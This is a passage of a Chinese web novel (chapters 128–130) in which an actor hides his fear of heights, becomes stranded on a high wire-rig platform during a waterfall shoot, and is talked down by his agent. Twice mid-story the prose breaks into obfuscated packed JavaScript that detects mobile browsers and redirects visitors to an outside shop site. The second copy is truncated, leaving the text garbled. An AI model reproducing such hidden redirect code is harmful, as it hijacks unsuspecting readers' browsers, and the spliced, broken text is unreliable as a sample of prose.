应淮猛然转过身,魔气充盈着四肢百骸,几乎将里衣都腾干鼓胀起来,他两眼已不是平日里的冷静自持,而是混黑一片,可怖之极。 师弟惊愕之余,极快反应过来,反手唤出长剑,虽惊讶却不慌乱:“宗内师兄弟们人人夸赞大师兄天资聪颖,早晚会成为下一任掌门,若是让他们知晓......钦佩敬仰的师兄居然堕入魔道,不知要有多少人难过,尤其是小师妹——” 话音未落,一道残影自潭水上划过一条浅浅水痕,漫开层层涟漪,再看时,应淮已立于师弟身前,他单手扼紧他喉咙,面容狰狞凄厉,嗓音沙哑至极:“不准提她!你不配提她!” 师弟似乎意外应淮连情绪都无法自控,他面容也冷下去,额角青筋突突直显,并不被应淮威胁,转腕间长剑旋过两人中间,剑气凌然袭来,应淮及时收回手,才避开了这一剑。 再一看手心,手原先被魔气包裹着,方才掐过师弟的脖颈,却没在他身上留下伤,反而是应淮的掌心皮肉被灼烧出阵阵焦味。 修真界天才受过多少人恩惠,护身法宝更是数之不尽。 应淮忽得笑出声来,他死死盯着被灼伤的掌心,深可见骨,血却流不出来,被魔气吞噬。 “哈哈哈哈...哈哈哈!”应淮嘴角抽动,笑声癫狂若疯,抬眸看向那人,肩后幻化出的魂体与他同声同气—— “你凭什么,夺走我的所有!” “我的师兄弟,我的灵宝,我的门派!” “你赫赫有名,全修真界都知道你的名姓,为什么,为什么来抢夺我赖以生存的地方!!” 句句泣血磨肉,应淮双目充斥着血红,他与魂体一同叫嚣着,已是全然堕魔的模样:“你该死,就该去死!” 师弟面上神情复杂,即使面对入魔之人也面不改色,仿佛是经历过大风大浪之人,他眼中有些许怜悯:“你竟是如此想的,呵,应淮,我从来都无意与你争抢,修真之人怎能如此心胸狭隘!?” 是啊,是啊,他占尽天灵地宝,有数不清的人送来法器秘籍,见他的人从宗门处排至山下,他心胸宽广,海纳百川,他自然可以冠冕堂皇地来指责他。 应淮低笑几声,笑着仰起头,凝起手心魔气,眼内全然是黑红的血色,他被心魔驱使着,缓缓往前走了几步,带着死不罢休的怨恨:“师弟自然是与我不同的,你愿意让出所有,既如此,那便——都于我拿来吧!” 一刹那,应淮倾身向前飞移,魔气瞬间外溢,将雪白里衣寸寸染黑,他皮肤蔓延上一层层血色脉络,沿着颈下向面容飞速攀爬,那温雅谦和的大师兄眨眼间成为妖魔。 ——堕魔已成。 而那位“修真界天才”只是面不改色,稳稳立于原地,转手从百宝袋里拿出护身法器,长剑挥转做法阵,剑气凝出数百把长剑,围着师弟旋转片刻,随着他心念一动—— 千百把剑气瞬间贯穿应淮的身体,心魔魔气被一击而溃,不消片刻便散逸殆尽。】 128. 原来他恐高 这次的角色妆造与奚亭云的适配度完美融合。 宫欢站在奚亭云身后几步远的位置,她双手环胸,仔细打量他那张被化妆师反复描摹过的脸。 连拍了几天的青华宗第一大师兄,这几天要拍黑化后堕魔的角色形象。因为最近奚亭云的风头正盛,剧组特意找人高定制作了堕魔后的古装服饰。 剧组大概是想蹭一波三鬼将的热度,这套服饰整体打造成轻飘飘的黑纱质感,边缘缝线细致地采用红线金边,想突出黑与红的撞击色。 宫欢非常注重艺人的角色重合度,第二个角色可以延续第一个角色的类型,但相似度不能超过太多,否则观众会审美疲劳,而且对演员本人的戏路也有影响。 当初为奚亭云接下这个角色,本意是剧本好,一人饰两角,其次就是,想让他在古装剧多刷刷脸。 奚亭云早换上那身堕魔服饰,安静地坐在化妆镜前,连手机也不看,持续几小时的妆容发型打造,他都静静地看着镜中晃动的人影。 宫欢偶尔看看化妆师在手背上谨慎的试色,时不时靠着门框看剧组里的布景,绕来绕去,却始终不离开奚亭云的范围,好似他就是核心。 等几个小时后,才算完工。宫欢甚至都睡过了一轮,被剧组助理摇醒后揉着眼睛,迷迷糊糊地问:“嗯??好了吗?” 剧组助理忙不迭点头:“好了好了,欢姐,导演说妆造好了之后可以先去试一下戏。” “马上,你先去忙。” 宫欢朝她比了个OK的手势,一骨碌从沙发上爬起来左右看看。 这间临时充当化妆间与休息室的古风房间有张软榻,上布小木桌,装模作样地摆着一溜茶杯水壶,窗外漏进几缕光束,尽数落在奚亭云身上。 他正坐在软榻上看剧本,层层叠叠的衣袍下摆绣满大片的暗红线条,光线略过时才看得清晰,他长发随意披散身后,发尾在软榻上凌乱卷曲,侧脸的轮廓有半边被光照得透亮莹白,近乎透明。 真该给他接个护肤品广告。宫欢想。 眼睫也似拢了层金光,眼眸转动间悉数落进眼底,细碎而明亮。 “欢欢?”奚亭云被她盯得不自在,还是没忍住收起装模作样的姿态。 宫欢完全没有被抓包的尴尬,极其自然地点点头,指着外面:“走了,去试戏。” 奚亭云身体微顿,似乎是不解宫欢这么自然的态度,不过还是点头应声。 两人肩并肩走出休息室。 试戏是要看奚亭云对堕魔的状态是否理解到位,这段剧情武打戏不多,只需要过两招就行,毕竟是个嫉妒主角的男配,主要内容还是凸显出主角的强度。 拍摄场景在一座山后的瀑布旁边,剧组临时搭建场景,周围的竹林长得稀疏,导演特意让人去其他地方移栽过来营造出竹林重影的氛围感。瀑布旁边搭建了威亚设备,因为两人的位置问题,陆地与瀑布旁边各搭建一处。 奚亭云到时,主演已经穿戴好威亚衣,在排练武打动作。他也快步走到瀑布边,在工作人员的协助下穿戴威亚衣。 宫欢在监视器后面观看,剧组助理走来向奚亭云详细说明拍摄过程:“堕魔状态下,你要在潭水上和心魔对峙,这里是对着空气演戏,非常考验您的应变能力,后期我们会做出特效。” 奚亭云时不时点头,专心听着。 “还有与主角对打的时候,您有个招式是要飞到半空,因为瀑布高度原因,威亚会将您吊高到50米的高度,”说到这,剧组助理小心翼翼地看了眼奚亭云,似乎怕他出声,立刻补充道,“不过您不用担心!您可以看到我们在40米的地方搭建了一个小平台,在拍摄期间您可以站在上面!” 听到50米高度时,奚亭云的脸微不可察地白了白,他抬头向上看。瀑布流速不快,速度偏舒缓柔和,几块木板搭建出的小平台在上面摇摇坠。 “您,还有什么问题吗?”剧组助理紧张地看着他。 奚亭云薄唇微张,目光下意识往监视器后的宫欢那边看了眼。她正和导演聊着什么,眉眼带笑,注意到他的目光时,还转过来朝他招招手。 “没有问题。”他说。 只是吊威亚。 他在【风雨九州】剧组做过上百次,早已经克服恐惧的来源,高度于他而言没有区别,只是同一个动作。 是的,没有区别。 奚亭云深深呼吸着,威亚绳随着导演喊开始的声音上收,他的脚离开地面,一直拉高,拉高,地面的景象也在渐渐缩小,他控制呼吸,耳边只余嘈杂的瀑布落水声,哗啦哗啦,除此之外还有自己的呼吸声,呼,吸。 手心微微往外渗汗,他咽了咽口中不停分泌的唾液,竭力抬头向上看,脚下是空的,没有实处,他稳住核心,脑中飞快略过需要做出的武打动作。 眼前出现一棵树的树冠,枝叶繁茂浓密,身旁的瀑布临近中间,剧组搭建的平台出现在眼前,下方有人拿着喇叭喊:“奚老师,去平台上!” “好。”奚亭云应了一声,才发现他的回应没人会听到。 他又咽了咽口中不断分泌出的苦涩唾液,强迫自己松开紧握着威亚绳不放的手,伸出一只手去抓住平台边缘的栏杆,力度大到指节泛白。他手臂发软,几乎使不上力,两只手紧抓着栏杆半爬半拖地将自己拖到了平台上。 “1号机位就位!” “滑轨布置完成。” “3号机就位,随时准备拍摄!” 奚亭云右耳内塞着入耳式蓝牙耳机,时不时传来剧组人员的应答。他半蹲在小小的,微微摇晃的平台上。瀑布水花溅落在发间,颗颗水珠在微弱地闪烁,他抬头,不远处一架摄影机的镜头深深地注视着他,以他为原点缓缓移动着寻找最佳机位。 准备好,不能退缩,只要状态好,也许一遍就能拍完。 奚亭云紧紧闭上眼,双手死死攥着栏杆,顶着风口站直身体,耳机里传出导演的声音:“action!” 在剧本里,这段剧情要演出应淮从瀑布下落过程中使出法术招式,他需要从平台一跃而下,身体倒悬着给予主角最后一击。 鞋尖挪到平台的边缘,奚亭云身体摇摇欲坠,苍白的脸色明显到连刻意打上的阴影都无法覆盖,似乎有张大网笼罩而来,将他胸腔死死堵住,呼吸都困难。 重重呼出一口气,奚亭云下了狠心,撤腿往后踩了一脚当做助跑,猛一用力往前扑去,他强迫自己睁着眼——看天与地扭转着,自身重量陡然失控,摄影机死死追着他拍摄每分每秒,身体腾空后迅速下坠,血丝密集地爬上他的眼白,奚亭云的面部青筋暴起,配上完美的妆容,真有狰狞可怖的视觉效果。 一切被摄影机细致地拍摄下,传至监视器内。 “不错啊,”导演赞叹道,“表情细节做得很到位,完全看不出来是新人,怪不得演元导的剧能火呢......你说是吧,宫欢?” “嗯?啊,对...” 宫欢回过神,勉强笑着应和一声。 视线再转回监视器上,笑渐渐收敛,她眼眸微微眯起,带着超乎寻常的认真细看监视器转播出的那张脸。 他皮肤偏冷白,化妆师给他上了偏黄的粉底液,又打了些阴影,可这都掩盖不了他的紧绷。 下坠过程离地面还差一截,导演摁下对讲机:“威亚收,落下来的时候你们要拉一下演员的衣服啊,不要让衣服全盖下来挡住了。” 嗖的一声,几根威亚线缓缓拉住下坠着的奚亭云,他身体迅速停在半空晃了晃,单薄的身体脆弱地像一片身不由己的落叶。 监视器里,他后仰着半躺在空中,露出的脖颈皮肤比脸要白一个度,后仰时,奚亭云紧张地闭上眼,肩膀微微颤动,威亚线继续拉高,他仿佛没有灵魂的人偶,被钢丝线吊着向上拉动。 宫欢本是环抱着胸的姿势,心里冒出那点可能后,双手垂至身侧,甚至微微攥起。 还没拉到一半,宫欢抬手拍了拍导演的肩膀,扯出个笑:“导演,他刚才演得不太好,您先放他下来,我跟他细聊一下角色问题。” 导演摸着光溜溜的脑袋,琢磨不透:“啊?演得挺好啊......好吧,别太给演员压力哈,刚才状态就不错,你别多说把人家说得不自信了。”圈内人都知道宫欢的脾气,主动怜爱她的艺人不是什么奇事。 宫欢摆摆手,抬脚就往瀑布那边走,身后的导演在对讲机里说了一通,威亚线在半空停顿一下,接着开始往地面降。 奚亭云自然也听见耳机里的那句指令,他睁开眼,不解地往导演那边看,目光飘去的途中,自动对焦在宫欢身上。 她绷着脸走来,奚亭云刚落在地面,脚底阵阵发软险些要跪下,宫欢一把搀住他手臂,稳稳托着,她抬眸,隐含着怒意地瞪他,另一只手却麻利地拆他腰上的威亚衣。 撕拉—咔咔,威亚衣的搭扣被解开,衣衫散开。 “...欢,欢欢?”奚亭云不明所以,顾忌着她的举止会引来些不好的猜测,影响她的名声,他为难地低声劝她,“还有很多人在,对你...不太好,等下回酒店好吗?” 宫欢:“?” 她迷惑至极地皱眉,意识到他的意思后翻了个大大的无奈的白眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126419|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她咬着牙,也跟着压低声音,眼睛似要剜他的一块心头肉般,看得人发颤:“少扯这些,你给我过来。” 说着,她半拉半拽着奚亭云往瀑布旁的竹林里去,奚亭云本就腿软得厉害,紧跟慢跟着有些踉跄,落在剧组的工作人员眼里,简直是一出活生生的经纪人欺压小艺人戏码。 竹影重重遮人眼,风吹过,响起窸窣的枝叶摩擦声。 确定没人能看见,宫欢才甩开手,转身气势汹汹地看着奚亭云。他紧张地注视着她,实在不清楚宫欢为什么突然这么生气。 是他刚才的情绪没到位吗? 是跳下来的时候犹豫太久? 还是,他脸上的妆容花了? “我——” “你为什么不说自己恐高!” 她,知道了。 心头重重一跳,猛然沉进冰冷的水中,奚亭云组织好的所有措辞吞咽回腹中,他怔愣地着看她,一个字都说不出来。 “你还想瞒我多久?” 她是真的生气了,眼神是从未见过的严肃,目光毫无偏倚地直视着他,愤怒地质问着:“要不是我看你状态不对,你是不是打算强行把这出戏演完?你出息了啊,身体情况不行都不提前跟经纪人报备吗?打算演到一半让我给你收尸!?” 她越说越气,看不惯他发怔的模样,抬手扯着他衣领,领口被扯得松解开,她强迫他俯身看她,强势地命令他:“说话!不准给我装哑巴!否则就解约!” 解约两个字似乎是奚亭云不愿提及的点,一瞬间,他恐慌到浑身发冷,眼神慌乱地晃动几下,更低地俯下身体,双手覆上她的手背,声音破碎到几乎带着哀鸣: “不要,不要解约!”手指一根根插入她的指缝,硬是将她粗暴的拉扯举动,化解成温和的十指交扣。 “别给我来这套,”宫欢胸腔剧烈起伏着,还死死揪着他衣领没松手,几缕斑驳的光线透过竹叶间隙落在她鼻梁上,她眯了眯眼显出点冷意,疏离得让人后怕,“这事必须说个清楚。” “我不想拖后腿......” 几乎是紧跟着她的话,他极快地说,停下几秒留给宫欢一些缓冲情绪的时间,才接着道,“我不想让你觉得我做不到——那不是恐高,还没到恐高的程度,只是,只是有一点,怕高,是正常的反应......” 宫欢一把抽回被他扣住的手,抱起手臂冷冷站着: “正常?你额头上的汗多到都洗衣服了,四层粉底液都盖不住发白的脸色,刚才要不是我扶着你,你站都站不稳,这叫正常吗?” 不再听奚亭云解释的话语,她从上衣一侧的口袋里拿出手机,手指飞快地给谁打着电话,嘴里絮絮叨叨地:“什么都别说了,这戏拍不了,以后所有带高空威圧的戏你都不准给我拍。” 还在找着联系人列表的手机界面被一只手挡住,手指的骨节处线条绷紧,指节修长,轻易地笼罩大半个屏幕。 他收了力,将手机更紧地抓住,用力时,指骨更分明。 宫欢抬眼瞪他:“还想干嘛,松手。” “我能拍,”他气势弱,语气却笃定不退让,唇色仍有些发白,气息发虚,却执拗地咬死不退让,“真的,欢欢,你相信我,我不会让你失望的,这个角色已经拍到一半,现在临时罢演,对你,对整个剧组都不好,戏份还差几场就要杀青了,让我拍完好不好?” 宫欢放下手机,凝视着他:“那你呢,你就不想想自己,恐高是非常严重的事情,万一你在空中晕倒,在拍摄过程中出事——” “我不会。”他说。 心脏还因为刚才的高空移动而不安地跳动着,他却近乎恳求地说:“我保证,在吊威亚期间,绝不出现任何影响拍摄的状况...之前在【风雨九州】的拍摄都很顺利,这次肯定也一样,不会有问题的。” “你相信我,给我这次机会好吗?” 这人,怎么倔成这样。 她的手指紧扣在机身侧边的凸起摁键上,反复碾过,眉心始终拧起。 临时罢演,再拒掉所有带高空威圧的戏份,宫欢都不用往下想,这几乎是葬送他刚起步的演员生涯。 饰演三鬼将爆火的热度必须有个承接热度的、平缓过度的相似角色,否则极容易像昙花一现,短暂惊艳过后,彻底淹没在人山人海的娱乐圈。 宫欢没把握,也没时间再去寻找下一个契机,于他们、于她自己而言,出现机会的唯一选择是牢牢抓紧。 她微微仰着头,轻闭上眼,像是要等待接吻的动作,连唇也轻启开来,叹出一口气:“别勉强自己......” 129. 与死有什么区别 最后,她还是没有足够的理由劝下奚亭云拒演,或许该说,她连自己都说服不了。 她需要他出演这部剧,将角色完美诠释,最后呈现在大荧幕上。 宫欢冷垮着脸回到监视器后方,她自带的低气压太过明显,周围的人都感受得到,个个互相使着眼色: 【快看,宫欢果然很凶吧,刚才硬是拖着奚老师去小树林教训了,我都说她脾气就是炮仗,你们还不信,现在知道传言是真的了吧。】 【奚老师脸色白的太明显了!好惨,他刚才演得没什么问题啊。唉,估计是太火了,经纪人要打压他的气焰。】 【脸色白?是不是要补妆了?】 【补什么补,老娘给他上了四层粉底液!!别侮辱我的工作好吗!他自己白得像刷了漆的墙,能怪谁!?】 工作人员们的对话止步于化妆师的怨言,演员归位,众人各自去忙碌调度。 监视器内出现奚亭云的身影,他再次穿戴好威亚衣,趁着空隙喝下一大瓶矿泉水,在导演询问是否准备好时,奚亭云点头的动作里带着决绝的意味。 “准备好了。” 四五根威亚线将他缓慢地从地面拉起,再次够到平台时,奚亭云已没最初的狼狈,这回他只是软着腿站上去。 视线向下坠落,发虚发飘的视野中,一群黑压压的人群里站着高挑明艳的宫欢,她似乎在往他这里看,她会在监视器后看见他的一举一动。 奚亭云努力控制着生理性的恐惧。 某一刻,她给予他的勇气令奚亭云产生错觉,他催眠着大脑,欺骗自己—— 没什么好怕的,只是一点高度,不会出事。 她在担心他。 刚才的对话与宫欢的态度都让奚亭云身体带着热意,她比其他人都要细心,看出他的不适,猜出他恐高,她甚至想推掉让他恐惧的威亚戏份。 她一直没对他表现出过多的特殊,安抚他,亲吻他都只是让他安分的抚慰剂,奚亭云心知肚明,却也甘愿她这样敷衍他,总比什么都得不到的好。 可什么时候,在不知不觉间,她开始在意他了? 她知道吗。 “action!” 随着导演的一声令下,奚亭云松开紧攥扶栏的手,停顿几秒后纵身一跃,如云雾般层层飘晃的黑纱衣摆在他身后紧追,他像是只黑蝴蝶沿着倾泻的银瀑坠落,风声在耳侧快速刮过,一把把刀子似的割开他的脸,强烈的刺激使心脏负荷加重,胸腔又在阵阵作痛...... 忽然,身体在离地面一段距离时突然停住,威亚线拉着他的身体横在空中。 奚亭云下意识紧闭双眼,双手快速抓住身侧的威亚线,力度大到指骨发白。 导演举着对讲机,轻微的电流噪音刺啦一声:“往下落的速度不对啊,这段应淮是要带着力度地往下用大招,不能是坠落感,地面的威亚线等下用力拽着演员往下落,提快速度啊。”剧组人员应声,调整着威圧线的角度。 从没有哪个时刻,宫欢的心情是这样紧紧高悬的。 她几乎不忍去看奚亭云被威圧反复吊起拉下,以往在其他演员身上习以为常的工作日常,一下变了味,每一次,每一次耳中出现对讲机里的内容,威亚线收紧的声响,宫欢都控制不住地想。 他又要再跳一次,再恐惧一次。 她不是心软的圣母,工作就是工作,谁都要去完成。 可那是在正常的情况下,不管今天被绑在威亚线上的人是谁,不管恐高的是谁,她都会一视同仁,提出拒演。 他为什么不愿意,他该自私一点,为自己的生命负责,出名对他来说就那么重要吗,为了这点命也可以不要? 脑中闪过奚亭云在听见她说解约时,那害怕恐慌到像是......被抛弃的模样。 宫欢很熟悉那眼神,不是恐慌以后失去名利,金钱,是害怕被丢下,再也看不见想见的人。 心绪混乱复杂成一团乱麻,她垂着眼,目光看着地面的一块石头出神,呲呲的嘈杂电流音从对讲机里传出来,是坐在监视器前的导演那传来的,被干扰思绪,宫欢眉头紧蹙,听见里面传出声音: “导演——威亚,威亚卡住了!!” 一刹那,宫欢怔住,身体僵硬在原地,有股凉意顺着脊背爬上,钻入身体里,向四肢蔓延,手脚都在轻颤。 “什么威圧卡住了!?话说清楚!” 导演也意识到情况不对,猛然站起身,朝对讲机骂道。 他绕开监视器抬头看,瀑布的平台旁边,吊着小小的一个黑影,在瀑布前摇摇欲坠。 “瀑布上面的威亚线卡在轨道的缺口里了!完全动不了!我们不敢乱动,现在还有演员绑着威亚线,而且,这根好像是主威亚......” 话说到后面,在场的人都不约而同地噤声,纷纷看向在瀑布前摇摇晃晃的人影,一架摄影机仍在拍摄着他,镜头画面转播到地面的监视器内,奚亭云的手够着平台的边缘,费力爬了上去,他躺在平台上大口喘气,身体不断渗出汗水,浑身虚脱一般。 主威亚线在瀑布上方,负责上下调度演员的升起和降落,其他威亚线只是配合演员的动作左右移动,主威亚线出问题,其他威圧基本全废。 宫欢意识到这点后,径直冲到导演身旁,一把夺过他手中的对讲机,前所未有的焦急,严声厉问:“所以呢!现在怎么处理,主威亚线怎么会卡住,你们平时都不检查的吗!?非要出问题了才知道叫!你知道这是多高的高度吗,50米!十七八层楼高,你们想要他死吗!!!” 她实在心急得厉害,什么都不管不顾地一股脑骂出来,不顾场合,不管任何人的身份地位。 导演也知道这属于剧组失误,宫欢骂工作人员与骂他无异,但也只能硬生生受着。 他走到宫欢旁边,拍拍她的手臂安抚,被宫欢怒瞪着将对讲机接过来,脑中飞快想着对策:“先别急,其他威亚线都还好好的,他现在没有大事,只是吊在上面下不来,我们想想办法把他弄下来就好了。” “什么叫不是大事!你知不知道他——”要说的话瞬间止住。 恐高两个字堵在宫欢的喉头迟迟吐不出来,一旦导演知道奚亭云恐高,那么以后所有的威亚戏份,他都别想再演了。 她只得硬生生将那两个字咽回肚中。连带着说不清道不明的内疚。 导演没过多注意她情急之下的怒骂,绞尽脑汁想着办法的同时,安抚宫欢,甚至在对讲机内对着奚亭云那边询问情况。 “演员怎么样了?奚亭云,你刚才是爬上平台了吗?还好吗,实在不好意思,主威亚线卡住了,但是其他都正常,别担心,我们能处理。” 导演尽量控制场面让众人稳住心态,他仰着头看那高空上的人影,心里却直打鼓。 拍摄地点是他们特意挑选的好景地,这里人迹罕至,没多少人来过,现在呼叫救援恐怕也难以在短时间内赶到。 蓝牙耳机有回话的功能,对讲机内先是传来哗啦啦的瀑布落水声,还有阵阵窸窣的风声,紧接着才是奚亭云虚弱的气音,他一张口,说得不是自身状况,而是一声呼唤: “宫欢......” 仿佛被当头敲了一棒,宫欢迅速夺过对讲机,迫切地回应:“我在,我在的,你怎么样,有没有哪里不舒服?别害怕,我们在想办法,马上就把你救下来!” 对讲机那边嘈杂的背景音太多,瀑布声,树叶摩擦声,风声,都互相交错着出现,在这些乱糟糟的环境音影响下,宫欢还是捕捉到了他的呼吸声。 一下一下的,似乎攒几下呼吸,才有力气说下一句:“欢...欢欢......” 宫欢独占着对讲机,导演在她抢走对讲机时就转身去找人想办法了,他叫小名也就只有她能听见。 “我在呢,奚亭云,你别怕,我一直在的,”宫欢左右看,见剧组人员都手忙脚乱地忙着,才略略安心,“我们都在想办法救你...你,害怕吗?” “怕......” 他气息太弱,宫欢啧了一声,抬头看见一架摄影机始终对着平台,便匆匆跑回监视器前,看见转播画面里出现奚亭云苍白、布满大颗汗珠的脸,她急得额头也跟着出汗。 “是我不对,我就不应该再让你继续演,”宫欢焦虑地咬着手指的皮肉,想撕扯下一块来,“你万一出了事,死在上面怎么办——你要是死在最害怕的地方,我真的会恨死自己!是我害了你。” 对讲机那边传来虚虚的笑声,监视器画面里也出现奚亭云费力地扯动嘴角,眼眸微弯的脆弱神情。 他侧着的脸占据大半个画面,血色尽失的面色让人心碎得发疼,宫欢在此刻深深感受到所谓的故事感演员。 她又气又急:“你还有力气笑!?” “......我不会死,好不容易,靠近你,”他几乎是一个字一个字地说,每说几个字就要费力呼吸,缓和气息,“怎么会舍得...就这么,轻易地离开......” 他吐字发虚,字尾带着飘忽的气声,却让人听得清清楚楚。 他在说什么,什么好不容易,靠近? 宫欢怔神了片刻,喃喃道:“你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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圈内圈外,人人都知道,金牌经纪人宫欢脾气火爆,逮人就骂,有一点不快就上手,堪称圈内轰炸机。 谁能想得到有这样一天,她放软了语调,耐心地回应着一个人的呼唤,她担忧,急切的关心着一个人,是从未有过的事情。 救生气垫终于准备就绪,在这四小时里,导演与其他人商量好救援方案:主威亚线无法正常使用,其余四根威圧线仍可以操作,救援求生气垫正常来说最好是针对10层楼以下的高度进行救援,像50米的高度,属实是难题。 不过好在威亚线还有四根可以正常使用,在下落过程中威亚线正常发挥,能消卸去大部分的坠力,奚亭云只需要保护好自身的肢体器官,跳到救援气垫上,是不成问题的。 的确是最好的解决办法。 宫欢却不由自主地将手指扣进掌心,指甲狠狠扎着手心的肉。 可,别人不清楚,她还不知道吗。 奚亭云恐高,今天他连续高强度的进行威圧工作,又在50米的高空上躺了四个小时,现在,还要他在长久的高度恐惧中,再次从十几层楼高的高空跳下来。 宫欢几乎是一瞬间红了眼眶,她鲜少会哭,这一秒眼内却泪意汹涌。 这对他而言,与死有什么区别。 她到底在做什么...... 逼着别人用这样的方式去给她赚钱吗!? 那她和宫家那些人有什么区别,冷漠自私,将一切当做筹码来牟利......她的手也会沾上血吗? 商议决定后,众人纷纷看向宫欢——对讲机在她手中,那么,将由她来告诉奚亭云,他们的决定。 ...... 深蓝的夜幕渐变为更深沉的黑色,地处偏远,星子如散落的棋盘点缀其上,夜风是冰冷的,奚亭云蜷缩起身体,维持着一丝清醒,倾听耳边偶尔传来的,宫欢的回应。 她有几分钟没说话了。 奚亭云迫切地摁住蓝牙耳机的播放键,声音干涩沙哑得像是粗粝的石块:“...欢欢......” 对高度的恐惧使他渴求着她的一切。声音,气息,哪怕是随便的一声应答,哪怕是宫欢两个字,都有安抚他情绪冷静的奇异作用。 她于他而言太深刻入骨。以前,是他死寂重复的生活里唯一的涟漪,现在,是他进入角色状态的入戏支柱。 她构建他的世界,成为他生存的规则。 这次的回应有点久,隔了几分钟,奚亭云想再叫她时,宫欢回应他了。 她情绪不太对劲,声音透着显而易见的低落,平时细软却嚣张的嗓音微微沉下去,压抑着难以察觉的哭腔。 “我在的。”她说,“奚亭云,我们有办法救你下来了。” “真的?” 他语气里迫切的期冀让人不忍心再将话说下去,宫欢垂下眼,顶着十几双眼的注视,将无形的刀子再次插入奚亭云胸口,她尾音带着颤意: “我们...”她微不可查地哽咽了下,“需要你跳下来。” 130. 跳下来,奚亭云。 悬于瀑布旁,半空中的小小平台犹如一扁孤舟,周围是浓重的漆黑,再远一点,那架对着奚亭云的摄影机还在,机顶上方亮着一盏照明灯,勉强算作光亮。 宫欢话音落下后,他迟钝地反应了好一会。 是夜太黑,风太冷,他太累,大脑的思维能力转得慢,没仔细听清她的话,却捕捉到她鼻音浓重的声音。 “......你哭了吗?”他忽然问,那头的宫欢哑然失声。 她出声,他的注意力就全在她身上,一点都没有偏移。 所以他也下意识忽略掉宫欢的那句话。 疲乏的神经在四个小时的时间里被磨得发钝。 为了抵抗恐惧,他上瘾般地啃噬着宫欢的一声声安抚,每得到她的一次回答,他便感到神经战栗般的安心,牙根泛起酸痒,他想咬些什么来缓解那些失控紊乱的情绪。 他抖着手,胡乱扯过一块黑纱衣角,粗暴地塞入口中,奚亭云就咬着那片干巴巴的布料,隔一会叫一声宫欢。 她快速的、没有任何拖延的回应中,奚亭云都咬着逐渐被唾液濡湿的衣角,喟叹出声。 他恐慌,心乱,即使全身紧紧躺在唯一的安全平台上,可身下却是深不见底的高度,这认知使他长期的紧绷状态骤然崩溃。 从以前无人在意,哪怕死在街角都不会被人看一眼的他,在一夜之间爆火,数以万计的人讨论他,看见他,甚至喜欢他,这都让奚亭云感到割裂,他找不到真实,伸手出去,只能看到被扭曲的影像。 让他看见真实的唯一存在,是宫欢。 她打破他虚拟的偶像滤镜,如此鲜活生动地嬉笑怒骂,如果他的人生是黑白电影,那宫欢就是填充颜色的存在。 她怎么哭了,她为什么哭了。 没等奚亭云吐出湿透的衣角再问,那边拉高声调,一股气全吐出来:“——你是不是傻了疯了!你到底想做什么!?我都说了不要演不要演,为什么,为什么就是,就是不听......你要是出事了,我根本不会管你的,都是你,你自找的...活该!” 她说到后面哽咽得更厉害,哭腔明显。 工作人员都围聚到救援安全气垫旁准备就绪,宫欢侧过身背对着他们,抬起手用力擦了擦眼睛,接着快步走到几步远的位置,努力仰起头,眯起眼睛去看那扁孤舟。 对讲机里传来奚亭云断断续续地认错声,他纵容地,不辨真假地全都揽到自己身上:“是...是我的错......” 他这会才后知后觉地反应过来,宫欢刚才说的话。 “你刚才说,救援的办法是、跳下去...?” 宫欢再次深呼吸,她这回冷静不少:“剧组整理好了救生气垫,你身上还有其他的威亚线,在下坠过程中,有工作人员会同时操控威亚线协助......” 奚亭云渐渐清醒,他撑起瘫软的身体,两手紧抓护栏,探出头虚虚地往下看了一眼。 比白天还要可怕,白天尚能看清一切,此刻黑夜覆盖所有,他视线发虚,找不到任何参照物,只能勉强看见地面的橙红色的一团物体,还有亮起的大片灯光。 他喃喃地,说不出那个可能:“你要我......” 宫欢沉默几秒,声音里带着不忍,却又强硬地命令他:“奚亭云,跳下来。” “我们测量过主威亚线的位置,再加上另外四根威亚线的控制,你不会出事。”她笃定得像是胸有成竹,好像刚才哽咽的人不是她。 宫欢顿了顿,放软声音,她抬起头,穿过重重的黑暗看向瀑布旁的平台,手中紧紧摁着对讲机的通话键,指腹泛着白。 “...我也不会让你出事。奚亭云,如果害怕的话,就闭上眼睛,手抓紧威亚线,跳下来,我就在下面接着你。” 我就在下面接着你。 我就在下面接着你。 接着你...... 他并没有一刻的犹豫。 在宫欢说出口那瞬间,奚亭云条件反射地默认了她的话,他重复地询问,只是想确认,那是她想要他做的事。 她说,她会接着他。 他慎重而小心翼翼地调整着姿势,将两腿伸出平台边缘,牢牢死死地坐在平台上。 空的,空的! 脚踩不到地面,他身体重量全都压在抓紧护栏的手上,腿已经在发软,心率不断升高,偶尔慢半拍,奚亭云艰难地呼吸,他哀求似的向她求救:“太高了...欢欢,太高,我,我有点...” “没关系,没关系,”宫欢耐心而轻柔地哄着他,“别着急,不要慌张,奚亭云...你喜欢云吗?” 话题忽然转变,奚亭云愣了下:“......还好。” “你的名字里有个云字,”她闲聊似的说,“给你起名字的人也许希望你能像云一样自在,飘到那里都是白白柔柔的一团,你生来就应该在天上,沿着天空自由地飞远。” 奚亭云下意识顺着她的话抬起头,天空虽黑,却有漫天的星星,或远或近地闪烁不断,他看完一颗,又紧接着看下一颗,目接不暇。 他的手不知不觉间从护栏上松开,长时间没进水的嗓子一出声就哑得过分:“我不知道...他们真的希望我自由么,可为什么,从来没有在意过我......” “自由的云是没办法被留下的,它们要远行,去山巅,去湖泊,去海上,去屋顶,去人群最多的地方,”宫欢的声音有种奇异的能力,轻而易举地缓和着他焦躁恐慌的情绪,“那么,云也会凝结成雨滴落下来,铺满它曾经去过的地方。” 奚亭云的呼吸凝滞。 他听见她再一次说:“跳下来,奚亭云,我会接住你。” “...你相信我吗?” 奚亭云这辈子从未达到过这样的高度。 